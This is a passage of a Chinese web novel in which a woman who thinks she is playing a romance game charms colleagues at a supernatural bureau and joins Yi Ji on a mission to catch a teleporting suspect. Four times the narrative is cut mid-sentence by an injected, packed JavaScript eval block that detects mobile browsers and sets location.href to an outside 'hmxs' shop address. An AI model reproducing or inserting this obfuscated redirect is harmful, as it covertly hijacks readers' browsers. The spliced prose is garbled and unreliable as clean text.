最后居然是易骥还记得这事,偶尔过来浇浇水,任由这些绿植半死不活地挣扎着。 易骥也是今天突然想起来了。正准备拿着杯子接水的时候,注意到旁边不知道什么时候多出来的喷壶,再看看那边的盆栽,土壤还是湿润的。 有人浇过了。 局里最近就多了一个人,是谁做的不言而喻。 易骥:“……” 虽然对这些绿植也没怎么上心,但是浇了大半年了,也几乎默认是他养的,突然被别人插手,他心底有点微妙。 谈不上被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732758|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒犯。 只是忍不住想起了被放在桌子上,充当礼物的小饼干,尝起来味道还不错。 易骥想着,回头看了一眼关可的座位。 椅子被拉出去好长一段距离,原本坐在上面的人似乎是极匆忙离开的。 他看了一会儿,眉头突然一点点皱了起来。这椅子的方向不对劲,坐在上面的人并不像是正常离开的。 挂在墙上的时钟滴答地走着分针秒针,时针终于转动过一格。 异管局的打卡规定并不严格,执行组更是如此,但是即便这样,到了这个时间点,该来的人也都差不多齐了。以这段时间关可的作息来看,她应该早就到了。 易骥看向项霜:“关可今天请假了?” 项霜一时都没有反应过来。 倒不是因为问题,而问出这话的人。易骥居然主动关心同事了?问的还是“请假”这种小事! 在角落里努力降低自己存在感的万琨也抬起头来。 项霜:“……” 恨不得缩在自己房间里长蘑菇的万琨竟然主动出来就够奇怪了,再加上一个什么事都没有就关心起同事的易骥。今天太阳是从西边出来的吗? 项霜看看这个,看看那个,表情渐渐微妙起来。突然反常必有原因,这两个人不会都对关可有意思吧? 万琨就算了,易骥实在有点让人想象不来。 项霜刚刚准备把这不靠谱的想法压下去,就听见旁边一声,“我刚刚向邬组给她请过假。” 项霜回过头去,就见站在门口徐斐然。 看着屋里的这三个男人,项霜才压下去的想法忍不住又翻腾起来了。 这对峙的画面可太引人遐想了,要知道关可来组里这几天,可一直围着徐斐然打转,组里的人有目共睹。项霜和关可处得熟,能感觉到关可对徐斐然不是那个意思,但她也同时都听见有人背地里议论,新来的甜妹多久能拿下组里的徐男神。 有八卦欲的可不止项霜一个。 万琨的存在感低,本没什么人注意到那点小波折,但徐斐然和易骥在房间里一站,可就太显眼。正埋头办公的人或多或少地都支棱起一个耳朵,用眼角的余光偷瞄着这两个人,项霜隐隐听见旁边的小声嘀咕:“打起来、快打起来!” 项霜:“……” 看热闹不嫌事大的人可太多了。 项霜都能听见,易骥当然听得更清楚。 他没什么被人看热闹的心情,眉尾动了动,脚下就要挪开。 却听见徐斐然解释:“她身体不舒服。” 刚刚还看着徐斐然的万琨顿时把目光移向易骥,眼神谴责。 昨天测试后,关可被送进了医务室。 易骥:“……” 他觉得自己或许被碰瓷了。 易骥还是解释了句,“不是我。” 徐斐然知道易骥误会了,“不是因为测试的事,是她昨晚太累了。” 这下子换成徐斐然被整个办公室灼.热的目光盯着了。 昨晚?累?这里面有点东西啊!! 也意识到自己的话有点歧义,但徐斐然脸色都没有多变一下,语气平静地接上,“她昨晚没回家,在这边加了一晚上的班。早上低血糖晕过去了,我今天来得早碰见了,刚把她送到医务室。” 众人:“……” 就这?你就能不聊点带劲的?! 8.玩偶08 虽然在场所有人都想要听点更刺激的爆料,但奈何事实摆在眼前,众人只能自讨没趣地散了。 等到按捺下八卦欲、正式开始工作时,就有人惊呼出声,“昨晚咱们局里来了田螺姑娘了吗?” 不然怎么本来打算费好几天的标记工作,一觉醒来完成了80%。 有了这声惊呼,众人纷纷凑了过来看,果然见标记工作已经完成了大半。关可昨晚加班了这件事成了铁证,这下子倒是没有人再嘀咕八卦了,但其余的工作小组人员却忍不住酸了:这是什么主动性和工作效率啊!这种神仙新人怎么不是他们这边的? 和这边的喧闹截然相反,在没人注意到的角落里,万琨焦虑地啃起了指甲。 是因为他吗?要不是他昨天把U盘扔出去,她也不会加班到晕倒。 异能轻微地失控,随着主人的关注点变化,屏幕上的监控也跟着切换到了医务室。 监控中的画面自动放大,清楚的显示着病床上正安睡着的人。苍白的脸颊贴着同样白色的枕头上,手臂压在被子上,扎进静脉的针头被胶带贴在手背上,羸弱得显出几分圣洁来。 万琨看着看着就不自觉地发起了呆。 在他意识到以前,屏幕已经切分成了各个小格,每一格都显示着关可的脸。 有医务室病房的,有晚上加班的,有赠送礼物的,甚至有那天自动贩售机旁边差点倒下的……同一张脸密密麻麻地排列在屏幕上,几乎让人的密集恐惧症发作,但万琨却没有什么察觉,仍旧直勾勾地看着屏幕。 一直到走过来的易骥用手指敲了敲他的桌面,万琨这才猝然惊醒。 屏幕上的画面一下子暗下,万琨表情惊慌地看过去,易骥深深地看了他一眼。他是察觉到万琨的异能失控才过来提醒的,没想到看到这么一幕。 易骥本来还想说点什么,那边万琨已经脸色涨红,看起来羞愧到整个人都要钻到桌子底下去了。 他磕巴着:“对、对不起,我不是故意的。” 易骥无言了片刻,还是决定多管一次闲事,“不是对我……你自己和她说,还是我去告诉她?” 万琨的脸色一下子从涨红变成了煞白。 他抬头看向易骥,眼神哀求。 易骥无动于衷。 万琨嘴唇颤了颤,最后蚊讷着低声,“我、我……去。” …… 另一边,早在办公室嘈杂起来之前,徐斐然已经出去了。 他端着一杯咖啡站在走廊的尽头,站在巨大的落地玻璃前往下俯视。这边的高度没有那天的楼高,有玻璃阻挡也没法感受迎面而来的风,但是高处往下俯瞰,仍旧生出一股脚下悬空的眩晕感来。 人要有多大的勇气才会站到那高楼的边缘? 他确实把人拉回来了,但是这样拉回来的办法真的对吗?让她去为了别人活着。 徐斐然想起了,那天在自动贩售机旁,她对拾荒老太太的询问。 [有什么我能帮您的吗?] 不对。 人不该为此而活着。 徐斐然闭了闭眼,却想起了刚才办公室里邬组对他说的话。 ‘你是在拉住她,还是想要拉住你自己?’ * 万琨磨蹭了许久,才在易骥的紧迫盯人之下,来到了医务室。 他站在医务室的门口,只觉得面前的那扇门好像是深渊的入口,推开之后就是万劫不复。那些曾经听过的、指指点点的议论声再次在耳边响起,他脑海中阵阵眩晕,胃也像是被人攥着,里面阵阵翻腾。 就在万琨忍不住拔腿就跑的时候,被旁边一声询问打断。 “你哪里不舒服吗?”童文凡奇怪地看着这个杵在医务室门口的青年,友善地提醒,“问诊室在那边,这里是休息区。” 万琨本来想要逃开动作被这声音打断,他咬着牙低声,“探病。” 说完了这两个字,直接推开了门。 童文凡:“唉?你等等……” 先别说这人仿佛进的不是休息室而是太平间的表情,就说里面的人,这会儿也不适合招待来客。 童文凡的提醒还是慢了一步,关可被这开门的动作惊醒,睁眼看向门口。 童文凡也只能问:“他说是来探病的,你认识吗?” 万琨的形象变化太大,玩家一时没有认出来。 好在那土里土气的黑框眼镜很有辨识度,关可只愣了一下神,就点头表示认识。 童文凡心底小声嘀咕了句“居然真的认识啊”,但也不好拦着。只是想起了师兄,他还是多嘱咐了句“你现在还要多休息”,这才关门离开。 按理说,关可和万琨的关系还到不了探病的地步,要是项霜来才比较合理,但玩家已经把医务室归为一个交互场景了,一点儿也不觉得万琨来找她有什么奇怪的。 关可看着紧贴着墙角,恨不得下一秒就穿墙而过的万琨,主动问:“你是来看我的吗?” 万琨先是点点头,又紧跟着摇头。 关可:? 这是肯定还是否定啊? 万琨低声:“对不起,我不该那么做。” 关可不解:“那么做?做什么?” 万琨脸色又白了一层。 他像是很难把事情说出口,只是抬起手机来,把屏幕朝向关可,上面显示出他之前无意识间调取的监控影像,一帧接着一帧地播放过。 关可愣住了。 这是什么?玩家游戏过程的记录vlog? 异能失控也只有片刻时间,万琨截取出的片段虽然多但时间跨度都不长,视频很快播放过一遍,又循环着从头开始。万琨却像是忘记了怎么操作结束,只是僵硬地抬着手臂,半垂着头站在原地,等待着即将到来的唾骂。 先入耳的是一声惊呼,万琨颤了一下,耳边恍惚出现了别的声音,“变态啊!”“偷窥癖?”“这人有病”“他精神不正常吧”……窸窸窣窣的议论声借助大脑填满了耳朵,万琨好一会儿才听到对面切实的回应,是一句充满惊喜地,“能把这份视频传给我吗?” 万琨:? 万琨还以为自己听错了,惶惑又茫然地抬头看过来。 “不能给吗?还是需要什么条件?” 关可觉得她明白了,这一定是个功能性的NPC,给玩家提供游戏记录,还配备自动剪辑功能。这游戏还怪贴心的! 恋爱游戏中,条件没有达成多半是好感度的问题。 关可:“你剪辑得真好!” 先语言攻略,再尝试投其所好送礼物,然后再出去约会。 只要玩家够努力,就没有攻略不下来的NPC! 万琨:“……” 他张了张嘴,却发现自己短暂地失声了。大脑中一片空白,他能清晰地感受到心脏不规律地收缩,咚咚的声音在胸口一下又一下地敲击,她从脖颈到脸颊都飞快地烧成了红色。 虽然全息游戏没有好感度提醒,但这反应分明是具象化的[好感度+1]。 这么好攻略的吗? 关可试探性地再次提出请求,“这段视频能给我吗?” 万琨脸还烧红着,但行动上已经飞快地点了一下头,仿佛比关可还要害怕她收回前言一眼。 他勉强平复了一下心情,开口:“我传给你,手机、给我。” 虽然说话还是一字一顿的,但万琨没有像是之前一样压低声音。 关可才听出来,他的声音其实很好听,带着些微的磁性但却十分清越,和长相不同……不,仔细看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740383|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他长相也不赖啊。 关可打量了一会儿,得出结论:不合适的眼镜是颜值封印神器! 这就是所谓的“隐藏攻略对象”? 许久没有得到回答,万琨肉眼可见了的不安起来,他僵硬地站在原地,声音重又低弱下去,“怎么了?” 关可回神,她学习刚刚的成功经验,继续夸奖,“你声音真好听!” 万琨:“……” 他这一次连耳朵尖都红了个透,看起来要把自己烧熟了。 这个隐藏NPC的好感度也太好刷了吧? 关可忍不住在心里嘀咕了一句,但是行动上却没有丝毫耽误。既然找到了正确的方式,当然要趁机狠狠刷一波好感了! 看着万琨正准备往这里走,她连忙掀起了身上的被子,同时往旁边挪着给人让出位置。动作间,还在输液的软管被摇得左右晃动,针头差点被扯出来,输液管的最下方出现了一小段回血。 本来还在磨蹭着的万琨脸色一变,连忙上前一步,压住了关可的手,“别动。” 关可从善如流地停下了动作。 医务室上方冷色的灯光照在她的脸上,越发显得肤色莹白,她保持着微微仰头的姿态,将脆弱的脖颈无防备地暴露在外,万琨想起了之前看到监控中,她静静地在病床上安睡的那一幕,心脏像是被羽毛搔了一下,泛起一阵轻轻的痒,他一时不知道该怎么应对这种情绪,只是连呼吸都放缓了,像是生怕惊扰到对方。 这怪异的安静维持了许久,一直到关可忍不住使劲眨了眨眼。 “怎么了?” 关可缩了缩自己被对方抓在手掌里的指尖,问:“我可以动了吗?” 万琨烫到一样飞快收回手,磕巴着:“当、当然!” 关可最后还是如愿要到了那段记录玩家游戏过程的vlog。不知道为什么,把那段视频发过来之后,万琨也没有提出离开。 既然NPC没有走,那肯定有别的可触发互动。 关可试探地再次提出要求,“我可以再要别的监控视频吗?” 正拼命想找点话题的万琨:!!! “可、可以!” 他连忙把手机放在关可面前,屏幕上已经切换到了好几格的监控,“哪一段都可以,只要有摄像头的地方,我都能找到。” 如果是现实世界,这异能还真有点犯规。 关可内心感慨了一句,但是却并没有多在意。 毕竟只是个游戏嘛。 她想了想,“能剪辑我和徐斐然的内容吗?” 万琨一愣,胸腔内跳动不停的雀跃心跳停滞了一瞬间,像是兜头一盆冰水将人浇了个透彻,那汹涌的情绪一下子被堵塞住,撞得人心口发疼。万琨想起来了,他确实听说过,新来的实习生喜欢徐斐然的事。 “不行吗?” 万琨沉默了片刻,缓慢地摇了下头。 关可:“为什么?” 万琨嘴唇嗫嚅着,却不知道以什么理由拒绝。 关可:? 看起来对面的好感度应该够了啊?为什么会卡住啊? 关可想了想,恍然:“是因为徐哥不同意?” 既然万琨的好感度够了,肯定是徐斐然那边还没达标。 万琨迟疑了一下,轻轻点了点头。 关可顿时了然。 关可正想要缠着万琨问清楚需要达成的条件,病房外面的门被敲响。 外面传来一道低沉的声音,“是我。易骥。” 关可还没来得及回答,旁边的万琨脸色大变。 他飞快地环视了一圈四周,在旁边的医用品玻璃柜上停留了片刻,又看了看紧闭着的窗户,最后一掀被子,躲到了床底下。 关可:??? 9.玩偶09 虽然对万琨的行为大惑不解,但是玩家还是保持了非常包容开放的心态。 没点特色怎么能成为可攻略NPC呢? 这很正常。 外面易骥又敲了两下门。 这次声音更重了点,关可清了清嗓子,“进来。” 易骥推门而入,却没见到万琨。 他视线在屋里扫过一圈,停留在床边半垂下的被子上。 易骥:“……” 共事这么久,他算是对万琨有所了解,但还是每每被对方的行为震惊到。 不管怎么说,万琨看起来还是交代过了。 至于说关可打算怎么处理,是她自己的事情,易骥没有探听的兴趣,他这次来是为了别的问题。 易骥收回落在床底的目光,公事公办地,“你昨晚追查的那位空间异能的嫌疑人,局里初步研判,锁定了几个地点,准备逐一排查。西南路的阳光大厦,这是其中一个地址,他有几次都是从这边监控死角出现,局里怀疑这里是他的固定行动点。你准备一下,明天和我一起去。” 关可愣了一下。 没听错的话,这是要出外勤?但上次的训练场测试,她应该还没通过吧? 易骥:“有问题?” 关可连忙摇头:“不,没有。” 玩家可不会拒绝到手的任务。 易骥点了下头,简单地交代了时间地点和必要的注意事项,最后又往床底的方向扫了一眼,半点不拖泥带水地离开了。 一直到易骥走出去几分钟后,确认不会再回来之后,万琨才从床底下爬了出来。 他一抬眼,就对上关可好奇的眼神。 意识到自己刚才出来的窘态都落到关可眼中,万琨的脸一下子就涨红了,一副手脚都不知道往什么地方放的样子。 看起来很好欺负的样子。 但是他涨好感非常大方唉! 玩家坏心眼只冒头了一瞬间,就变成了满满的怜爱欲,关心地,“你很害怕易骥?” 不知道想到什么,万琨脸色惨白了一下。 但是对上关可关切看过来的眼神,他咬了咬牙,小声说了句,“不害怕。” 为了表示强调,还往前挺了挺胸。 关可顿了顿。 她刻意往后张望了一眼,做出有人进来的样子,讶然地,“你回来了?” 万琨:! 他表情肉眼可见的惊慌起来。 关可:“噗~” 事实证明,再好脾气的NPC也会生气的。 一不小心真的把人惹毛了的关可只得绞尽脑汁地去哄人。 * 另一边,易骥离开没多远,就遇到了正往这边走的徐斐然。 徐斐然:“你去医务室了?” 易骥点了下头,准备继续往前走,徐斐然却往侧边迈了一步,半挡在走廊的中间。 易骥脚步顿了一下,抬头看过去。 徐斐然也在看他,眼神探究,“虽然邬组同意了让可可先做外勤试试,我本来以为会是项霜带,没想到是你。真少见,你居然会主动带新人。” 易骥默然了片刻,中肯地评价,“她太菜了。” 徐斐然:“……” 外勤判定确实需要易骥签字。他这是怕关可在任务途中出事,砸了自己的招牌? 不等徐斐然继续追问,易骥已经侧身从另一边通过,看起来对这个话题没什么聊下去兴趣。 徐斐然看着易骥那大步流星离开的背影,迟疑了片刻。 是他多想了吗? * 关可并不清楚这些背后发生的事情,在彻底休息了一天一夜后,体力条和精力条完全回满。 于是周末的一大早,关可就换上了衣服,便装到了被告知的地点。 这边是一座位于市中心的商厦,因为通勤需要时间,关可到了地方时候已经接近中午了,外面的步行街上人来人往,但一身黑衣的易骥鹤立鸡群地站在人群中,仍旧让人一眼就看到。 ——攻略对象和普通路人简直不是一个图层的。 关可在心里小声地嘀咕了一句,那边易骥已经注意到她,抬脚向着这个方向走过来。 而他身侧不远处,本来还推推搡搡的几个女孩子看见这一幕,顿时目露失望之色。 关可:原本是打算上来要联系方式吗?这也太真实了吗? 易骥注意到关可的走神:“有问题?” 关可摇头:“没有。” 她只是有点没想到。 虽然恋爱游戏里约会场景很常见,但是第一次“约会”对象居然是易骥,实在出乎人的意料之外。 易骥看起来并不关心关可在想什么,得到回答后,就简单地点了一下头,干脆地:“走吧。” 去哪? 先熟悉区域内的地形,再四处闲逛,等待嫌疑人出现。 把上面几层都走了一遍,两人一块儿下了楼梯。 商厦的地下层惯例是一整条美食街,各色小吃密集排列,香味一个劲儿地往鼻子里钻。 虽说玩家到达任务地点之前已经把自己的体力条填满了,但是刚才一阵搜寻也是消耗,这会儿目光忍不住被周围的摊位吸引过去。 易骥本来还仗着身高优势,放开目光在人群中搜寻,但是走出去一阵儿,才发现自己和身侧人的距离越拉越远。 易骥那天在走廊里遇到的徐斐然说的话也不全是假的,起码他很不赞同关可出外勤。 虽然他也不知道为什么,他只是表达了一下反对,本来还为难的邬组眉毛一下子舒展开了,直接把人安排给了他带。 易骥也没拒绝就是了。 项霜自己就是个二把刀,带新人还不知道会出什么事。 这会儿出问题,易骥居然一点也不意外。 他拧着眉往回看,正看见关可的眼神在小吃摊上逡巡。 邬组的唏嘘声在耳边响起,“那孩子也是可怜”“居然因为营养不良晕倒了”,明知道对方是大概率是故意的,但到了这时候易骥还是沉默了片刻:既然身体有问题,干什么非要出外勤?! 一句句刻薄的话在嘴巴里转了个圈,又被他咽了回去,易骥问:“要去吃饭吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752651|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关可一愣:“可以吗?” “外勤期间的正常消费,算作组里的经费。” 花经费啊! 不管在哪里,这都是让人支棱的话题。 但关可头都点了一半了,突然又是一顿,“那任务?” “肉眼能看到的范围有限,主要不是我们在找人。” 这次锁定了好几个怀疑地点,都是万琨的异能在盯着。外勤的几个小组主要是负责在万琨告知嫌疑人出现的时候及时把人堵住。 既然没有消费也不影响任务,关可没有拒绝的理由。 她就这么跟着易骥,越过了炸鸡的摊位,经过了串串的座位,到了一家粥铺。 关可:??? 不对啊!这么好的挥霍经费的机会,不说山珍海味的,但你就吃这个?! 关可想要说话,但一个还没有正式职位的实习生没有对经费指指点点的资格,她只能憋屈地跟着易骥进了这家养生粥铺。 易骥:“想吃什么?” 炸鸡串串蛋糕冰淇淋肥宅快乐水。 都到了游戏里了,难道不应该好好享受一波热量炸弹吗?! “……鸡汤。” 玩家浏览了一遍占据了整个菜单的养生粥类品,健康得让人毫无食欲,最后指着菜单随便选了一个。 易骥颔首。 看表情似乎还算满意。 关可:“……” 所以这位酷哥的人设是养生老干部吗? 虽说对这顿饭的内容有所不满,但是专业的玩家很快就调整好自己的心态。 既然已经没有了美食,关可开始琢磨起了攻略的事,比如说怎么更高效地利用这段时间增加npc的好感。 她想了想,抬头征询易骥的意见,“易哥,你介不介意多一个人拼桌?” 易骥:“朋友?” 关可使劲点头,“是朋友。” 易骥挑了下眉,可有可无地答应了。 易骥当然知道没有人跟在旁边,但他还记得那次从大楼上下来,关可把那只猫玩偶称为“朋友”的事。 鉴于关可的异能性质,这次出外勤,她身上背的挂的也都是毛茸茸,就连头发边的发卡上都有一个小型的布玩偶。有了这层考虑,就算关可现在把这些玩偶一个个摆出来放在桌子旁,易骥也不意外。 得到肯定的答复后,关可果然去翻包了。 但出乎易骥预料的,关可拿出来并不是玩偶,而是一部手机。 她把手机放在桌边撑起,点开了摄像头,并没有和人通话,只是单纯打开。 联系到万琨的异能,易骥立刻就知道拼桌的这个人是谁了。 但是“朋友”? 易骥想起了昨天在万琨屏幕上看见的那密密麻麻监控画面,忍不住抬头看了关可一眼。 关可被看得莫名,她试探询问:“易哥,你介意?” 毕竟这是和易骥的约会日程,虽然玩家喜欢更效率的攻略流程,但还是分得清主次的。 易骥:“……你随意。” 该介意的不应该是他。 10.玩偶10 虽然关可一开始进店的时候颇多怨言,但是一家粥铺能够开在各色美食争奇斗艳的小吃街上,还是有它的底气的:粥确实很好喝。 而且玩家也利用自己的聪明才智,同时完成了两个角色的攻略进程。 因此关可从店里出去的时候,非常满意。 温热的粥落在胃里,熨帖的整个身体都暖融融的,这几天专心攻略和任务而带来的空洞感都得到了安抚。 连这种设定都和真的没两样。 关可再次感慨了这个游戏的真实性,同时认真地思考,要不要放松下攻略和任务进程,做个认真体验游戏内生活的休闲党。 但是这点念头只冒出来一会儿,就被耳麦里突然响起的声音打断。 [目标出现了。三楼西侧的装修区。] 本来状似闲庭信步的易骥身体立刻就绷紧了。 他转头对关可交代,“我从应急通道上去,你去坐电梯。空间类异能想逃根本拦不住,你别急着接近,先装作路人观察。” 虽然易骥说着“观察”,等到关可通过电梯上三楼的时候,上面已经动起手来了。 关可只觉得电梯内的灯光闪烁了一下,整个厢体在二三层中间的区域卡顿了几秒钟,才继续往上,缓慢地打开了厢门。 关可背后冒着冷汗从电梯出来,正想往先前万琨告知的装修区域跑,抬脚又想起了易骥之前“装作路人”的嘱托,平复了几下呼吸,维持住了正常的步伐,向着万琨指示的方向走过去。 前方的不远处,原本装修的挡板打碎,广告布被撕扯开了一个大口子,金属的梁架倒在旁边,梁架的尽头正躺着一个浑身抽搐的青年,仔细看看身上还冒着电光。 在异管局这几天,关可对内部成员的异能也有了初步的了解,易骥的异能是雷电。 倒下来的这个人应该就是那个空间异能的嫌疑人了,看起来已经被制伏了。 关可放松下来,不再急着往前赶。 但才刚刚这么想着,就见那抽搐青年旁边的空间一阵扭曲,出现了一个十多岁的女孩,女孩手里还拿着一根关东煮的签子,上面的千页豆腐被咬了一半,看起来对突然换了个环境这事十分懵逼。 人体导电,易骥几乎立刻停下了异能。 那抽搐着几乎半昏厥的青年得到片刻喘息,将一直掩盖外套里的手拿了出来,掌心里赫然握着一把接近小臂长的尖头西瓜刀,眼看着就要向女孩捅过去。 关可只觉得自己的手比脑子快,早在发现那个异能者旁边空间扭曲的一瞬间,她已经抄起在背包旁充当挂坠的雪团,向着那片区域砸过去。 雪白的玩偶在空中滑过一道弧形的轨迹,却在接近落点时发生了偏移,向着正起身的异能者扑去。 那空间异能者正想要抽刀挟持人质,冷不防的被一只白色的猫玩偶扑了脸,易骥趁机上前,一脚踢向他握刀的那只手。 这一脚要是踢实了,这只手臂就算不断也要脱臼。 但是那空间异能者也很果决。 早在发现视线受阻、无法挟持人质的时候,他就立刻使用了异能,当易骥的攻击落下的时候,原地只余下一片视觉残留的虚影,这一踢落了个空。 原地安静了一会儿。 关可轻呼口气,“跑了?” 易骥环视了一圈,点点头。 那坐在地上的女孩这会儿才从这突发的变故里回过神来,因为刚才事发太快,她并没有落入危险的实感,这会儿回神,还是情绪兴奋居多,“刚才那是什么?超能力?法术?阴阳师?!” 易骥:“一会儿有人和你交接。” 小女孩被易骥冷漠的态度吓得一缩,顿时不敢再问了。 易骥眼神示意了一下关可过去把人拦住,自己背过身去给后勤部打电话,“对。是的,阳光大厦三层,意外卷入……一个人,未成年。” 另一边,后面过来的关可显然比易骥看起来好接近得多,刚一过去,就被姐姐长姐姐短地问起来了。 不过小女孩嘴甜还会哄人,倒也不怎么让人讨厌就是了。 在场的三人都没想到,那个空间异能者还会折返。 眼前突然出现雪亮的刀刃时,关可脑子都空白了一瞬,对方显然是特地选了角度,正好在易骥的反应不及的死角,向着小女孩和关可的方向捅来。 易骥意识到,却已经来不及上前:“躲开!” [检测到玩家处于战斗模式,战斗辅助系统开启] 耳边想起了系统的电子声,关可只觉得身体不受控制,以一个她自己都没法想到的角度躲开了刺过来的刀刃,同时反手推开了对面女孩。 那异能者也毫不恋战。 见势不妙,当即再次发动异能,消失在了原地。 …… 这场战斗开始得快,结束得也快。 因为易骥那通电话,很快就有后勤过来,把那个无辜牵扯进来的人质女孩带走,那孩子被后面这个回马枪吓了个够呛,终于不像是刚才那样叽叽喳喳了。 原地一时只剩下关可和易骥两个人,但关可却没有觉得多好,易骥的目光直直地落过来,像是刀子似的要透过外面的皮肤扎到骨头里。 关可被这眼神看得浑身发毛,忍不住往后退了一步,刚一退就忍不住倒吸一口凉气。 “嘶~脚、我脚好像扭了。” “什么时候?” “刚才。” 易骥:“……” 他怀疑自己刚才看见的那个漂亮的旋身是眼花了。 真的只是巧合吗? 虽然心有疑惑,但易骥还是上前一步,蹲到了关可身前,低头检查。 被抓着脚的感觉实在奇怪,关可忍不住往后缩了缩,却被按住了小腿,“别乱动。” 脚踝弯曲方向不太正常,还没有肿起来。 易骥只是简单地做了个检查,很快就对情况有数了,“脱臼了。” 关可还想要问“脱臼了怎么办”,就被抓着脚腕猛地一旋,这动作幅度不小,关可下意识地抽了口气,回神才发现:咦?不疼唉! 她不由地看向易骥。 易骥却没什么表示,只是往后退了一步让开,“站起来看看,能不能走。” 关可只能暂时压下那点疑惑,小心地扶着旁边的墙壁站起身来,但左脚才刚一受力,她就小小地嘶了一下,“疼!” 虽然不像刚才那样尖锐刺痛,但还是胀痛胀痛的。更重要的是,玩家是来玩游戏的,不是来受罪的。 关可不太情愿地杵在原地。 易骥:“……” 他盯着关可看了几秒,背身蹲了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763018|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关可:??? 她不确定自己有没有理解错,迟疑地站在原地。 易骥回头看过来一眼,“不疼了?” 这是真的是要背她啊! 关可连忙点头,反应过来不对又使劲摇摇头。 一直到趴到易骥的背上,关可还有点不敢置信。她试探地把手环过易骥的脖颈,后者动作顿了顿,但没有说什么,只是托住了关可的腿弯,站起身来。随着他起身的动作,脊背肌肉收缩舒张,动作的张力透过紧贴的身体传到关可的感知里,只单单感受就能觉出其中的爆发力。 关可忍不住收紧了一下手臂,脸上莫名有点发烫。 明明只是个游戏…… 不,果然因为是游戏啊! 她没有注意到,几乎就在这些动作的同时,周围的所有监控都朝向了两人的方向。 易骥却看见了。 不去找嫌疑人,盯着这边干什么? 他警告地看了眼最近的那个监控,异能扰动了电流,传回去的画面有一瞬的变成了星星点点雪花乱码。 异管局内部,盯着屏幕的万琨一惊,下意识地一个后仰,椅子被拖出去好长一段距离,被易骥盯住的那个监控探头也猛地转过一个角度。 易骥:“……” 这是生怕被人发现不了吗? 几秒之后,像是终于回过神来,那监控探头慢慢地转了回来,假装若无其事。 易骥:“……” 万琨的迷惑行为也不是一天两天了,易骥提醒了一遍,不耽误正常的追查,也就没再继续管下去,背着关可下了楼。 因为刚才的事发生在装修区域,也没有引起太大的动静,商场里依旧是人头攒动,甚至因为时近饭点,看起来比两人之前熟悉地形的时候还热闹一点。关可因为被背着的缘故,海拔一下子升高了不少,从高处看过去,完全是不一样的视角。易骥背着一个人也半点都没觉出负重,一点也没有颠簸,比关可自己走路还稳。 关可有些新奇地四处打量,很快就看见了一家关东煮的店,刚才那被波及的女孩好像手里就是拿着它家的签子。 活生生一个大活人当众消失,居然没有引起恐慌?是嫌疑人的空间异能会自动模糊认知?还是那女孩买了东西离开,在没有人的地方才消失的? 关可脑子里杂七杂八地想着这些,发现自己离这家店面越来越近。 她有点摸不着头脑,这好像不是出口的路,“要去哪?” 易骥示意了一下那家关东煮的店,“想吃?” 啊这……要说想吃的话,其实她更想吃旁边的炸油饼。 关可心底小声嘀咕,但还是很干脆地点头,“想!” 要是摇头的话,连这个也没有了。 俊男美女的组合本就吸睛,何况还是男生背着女生的状态。两人站在小店前,很快又吸引了一波注意力,但易骥本来就不在乎这些,玩家对路人的关注更是寥寥。 只听旁边传来小声的议论声,有女孩羡艳着感慨出声,又回头揪着自己的男朋友,“人家也累了~” 男友不明所以,“哦,这有座位,进来坐一会儿。” 顿了顿,又像是想起什么,隐含期待地,“你都累了,咱们下午的街是不是不逛了?正好朋友约我打游戏。” “……” 11.玩偶11 异管局。 空间异能的传送范围也有极限,既然嫌疑人出现在了阳光大厦,其它几个距离远的部署点当即撤了人,徐斐然也跟着回了来,他先找了万琨。 “我听说易骥那一组遇到了嫌疑人,怎么样?关可人没事吧?” 万琨嘴唇往下绷紧了一瞬,旋即才摇了摇头。 “他们人还没撤?那边情况怎么样?” 他知道这次行动全程是万琨在后面盯着,当即在那一个个分隔的监控中找起了关可的身影,他确实很快找到了对应的画面,但是监控里影像让他一愣。 关可正被易骥背在背上。 徐斐然倒是没有多想,只是下意识地检查起了关可的下肢,确定腿脚没什么暴露性的创口,也没有不自然扭曲之后,这才松了口气。 但紧接着,他表情就古怪了起来。 